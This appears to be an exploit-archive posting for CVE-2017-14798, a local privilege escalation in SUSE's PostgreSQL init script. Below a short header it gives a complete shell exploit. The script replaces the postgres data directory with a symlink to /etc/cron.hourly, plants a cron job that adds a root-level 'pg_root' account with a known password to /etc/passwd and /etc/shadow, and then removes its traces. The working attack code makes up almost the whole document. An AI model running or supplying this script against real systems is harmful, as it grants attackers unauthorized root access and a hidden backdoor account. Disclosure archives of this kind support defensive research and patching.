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PostgreSQL 9.4-0.5.3 Privilege Escalation

PostgreSQL 9.4-0.5.3 Privilege Escalation
Posted Aug 13, 2018
Authored by Johannes Segitz

PostgreSQL version 9.4-0.5.3 suffers from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2017-14798
MD5 | 21d3d466b0625c0581215ed4f6257ea7

PostgreSQL 9.4-0.5.3 Privilege Escalation

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# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation
# Date: 2017-10-11
# Exploit Author: Johannes Segitz
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722
# Software Link: -
# Version: Before postgresql-init-9.4-0.5.3.1
# Tested on: SUSE Linux Enterprise 11 SP4
# CVE : CVE-2017-14798

#!/bin/sh

# don't use spaces or other funny characters in here
CRON_DIR='/etc/cron.hourly'
CRON_FILE="$CRON_DIR/totally_not_a_lpe"

declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')

if [ "$(whoami)" != "postgres" ]; then
echo "Must be run as user postgres"
exit -1
fi
cd

echo setting up exploit
mv data data2
ln -s $CRON_DIR data

echo waiting for DB restart
while [ ! -w $CRON_DIR ]; do
sleep 1
done

echo able to write $CRON_DIR
echo '#!/bin/sh' > $CRON_FILE
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE
echo "rm $CRON_FILE" >> $CRON_FILE
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE
chmod +x $CRON_FILE

if [ -e $CRON_FILE ]; then
echo wrote $CRON_FILE
else
echo failed to write $CRON_FILE, exiting
exit 1
fi

echo cleaning up
for i in "${CLEANUP_ELEMENTS[@]}"; do
rm -rf "$CRON_DIR/$i"
done
rm data
mv data2 data

echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!

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